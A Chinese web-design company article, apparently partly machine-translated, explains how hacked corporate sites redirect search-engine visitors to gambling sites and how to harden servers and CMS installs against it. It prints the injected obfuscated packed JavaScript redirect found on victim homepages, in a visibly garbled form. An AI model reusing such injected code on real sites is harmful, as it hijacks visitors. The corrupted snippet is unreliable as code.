如何應對企業(yè)網(wǎng)站惡意跳轉到賭博網(wǎng)站

近日，公司內部一位紀錄片同事表示，當大量廣州建站公司客戶在做百度推廣時，網(wǎng)站首頁點擊后會自動跳轉到彩票網(wǎng)站和賭博網(wǎng)站，讓用戶從百度搜索或推廣廣告空間進入網(wǎng)站后可以跳轉，但直接進入網(wǎng)站時沒有跳轉。由此造成的用戶流失導致訪問量銳減、網(wǎng)站服務器資源浪費、推廣費用浪費等。甚至可以說，在百度推廣和搜狗推廣的都是廣告彩票公司，在網(wǎng)站建設行業(yè)引起軒然大波。

很多客戶在回應這個問題的時候，會找廣告主來補償甚至追究責任。因此，我們的運營商需要關注并知道如何快速解決網(wǎng)站惡意跳轉的問題。經(jīng)過網(wǎng)絡咨詢和測試，廣州網(wǎng)站建設公司于君網(wǎng)總結了以下經(jīng)驗：

首先分析網(wǎng)站被黑，跳轉到賭博網(wǎng)站的原因

一般一個網(wǎng)站被黑，是因為服務器信息(服務器IP遠程端口管理員賬號密碼、SSH端口、root賬號密碼)與包括FTP賬號密碼在內的網(wǎng)站信息對接被黑客知道，導致黑客植入木馬或后門。

在整體安全監(jiān)控中，asp網(wǎng)站和php網(wǎng)站都有木馬，這意味著木馬可以以php腳本木馬、asp腳本木馬和jsp腳本木馬的形式存在。這些木馬可以惡意篡改網(wǎng)站、上傳、重命名、下載等管理員的高權限操作。網(wǎng)站被跳轉的客戶所采用的網(wǎng)站架構是php  mysql架構和jsp  mysql架構，大多使用開源程序，如dedecms、dream  weaving系統(tǒng)、phpcms系統(tǒng)、discuz系統(tǒng)等。

當我們知道一些代碼的時候，難免會在網(wǎng)站首頁看到一些惡意篡改代碼。刪除惡意代碼后，我們可能會在幾天內完全停止跳轉，但一段時間后，我們又會被跳轉。這是一個非常討厭的臨時解決方案。短時間后網(wǎng)站會再次跳轉，很難甚至不可能完全消除網(wǎng)站漏洞。

通過觀察一些客戶網(wǎng)站的首頁，首頁代碼中有一個加密的代碼，根據(jù)搜索引擎的特點進行跳轉。例如，通過百度搜索和360搜索，搜狗搜索人會直接跳到彩票和賭博網(wǎng)站。以下代碼：

type='text/java  '

eval(function(p，a，c，k，e，d){e=function(c){return(c35？string  . FromCharCode(c  29): c  . ToString(36))}；if(！''.replace(/^/,string)){while(c-)d[e(c)]=k[c]| | e(c)；k=[function(e){ retun  d[e]}]；e=function(){ return  ' \ w  ' }；c=1；}；while(c-)if(k[c])p=p  . replace(new  RegExp(' b  ' e(c)' \ b  '，' g  ')，k[c])；返回p；}(' l[' \ e  \ c  \ 1 \ m  \ I  \ 8 \ n  \ 0 '][' \ 7 \ 4 \ 9 \ 0 \ 8 '](' h  \ 2 \ 1 \ 4 \ 9 \ 3 \ 0 \ j  \ 3 \ 8 \ d  \ 6 \ 0 \ 8 \ k  \ 0 \ 5 \ f  \ a  \ r  \ a  2 \ 1 \ 4 \ 9 \ 3 \ 0 \ 6 \ 2 \ 4 \ 1 \ d  \ 6 \ s  \ 0 \ 3 \ 2 \ q  \ 5 \ 5 \ 7，29，29，' x74 | x63 | x73 | X70 | x72 | x2f  | x22 | x77 | x65 | x69 | x61 | x2e  | x6f  | X3D  | x64 | x6a  | x3e  | x3c  | x6d  | x79 | x78 | window  | x75 | x6e  | x6c  | x38 | x3a  | x76 | x68 '。拆分(' | ')，0，{}))一旦受到攻擊，百度搜索引擎會判斷該網(wǎng)站是否受到攻擊，然后在百度風險評估中心記錄并標記該網(wǎng)站。百度網(wǎng)站安全中心提醒您，網(wǎng)站可能遭到黑客攻擊，部分頁面被非法篡改！紅色表示百度風險。導致客戶打開網(wǎng)站被百度直接攔截，如下圖所示：

畫

針對以上跳轉攻擊的特點，我司廣州網(wǎng)站建設公司同意從手工代碼方面進行審計，檢測網(wǎng)站漏洞，網(wǎng)站后門木馬清理，漏洞修復，xss獲取管理員賬號cookies，discuz擁有getshell漏洞，inject獲取管理員漏洞，discuz上傳繞過漏洞等。

二、修復并防止網(wǎng)站被惡意跳轉

1.服務器目錄的安全部署、管理員帳戶密碼的加密、數(shù)字的特殊符號要求、所有密碼的大寫字母和小寫字母，以及向網(wǎng)站數(shù)據(jù)庫分配公共權限帳戶。

2.mysql數(shù)據(jù)庫默認端口由3306改為61116，添加到端口安全策略中。不對外開放，外部IP無法連接數(shù)據(jù)庫。只有本地127.0.0.1才能連接到數(shù)據(jù)庫，以防止攻擊者惡意猜測。

3.保護服務器的底層系統(tǒng)，包括遠程端口登錄的安全驗證。

4.對網(wǎng)站代碼進行全面的安全檢查，包括定期升級網(wǎng)站程序源代碼，修復補丁和網(wǎng)站漏洞。

廣州網(wǎng)站建設公司處理網(wǎng)站跳轉問題的方法有很多，以上只是解決問題的方法之一，所以作為網(wǎng)站建設公司，要對源代碼進行優(yōu)化調整，以保證后期網(wǎng)站不受影響，這就涉及到了源代碼和網(wǎng)站版本的升級。

網(wǎng)頁名稱：如何應對企業(yè)網(wǎng)站惡意跳轉到賭博網(wǎng)站
URL標題：http://bm7419.com/news/108953.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián)，為您提供關鍵詞優(yōu)化、動態(tài)網(wǎng)站、建站公司、App開發(fā)、微信公眾號、定制網(wǎng)站

廣告

聲明：本網(wǎng)站發(fā)布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經(jīng)允許不得轉載，或轉載時需注明來源： 創(chuàng)新互聯(lián)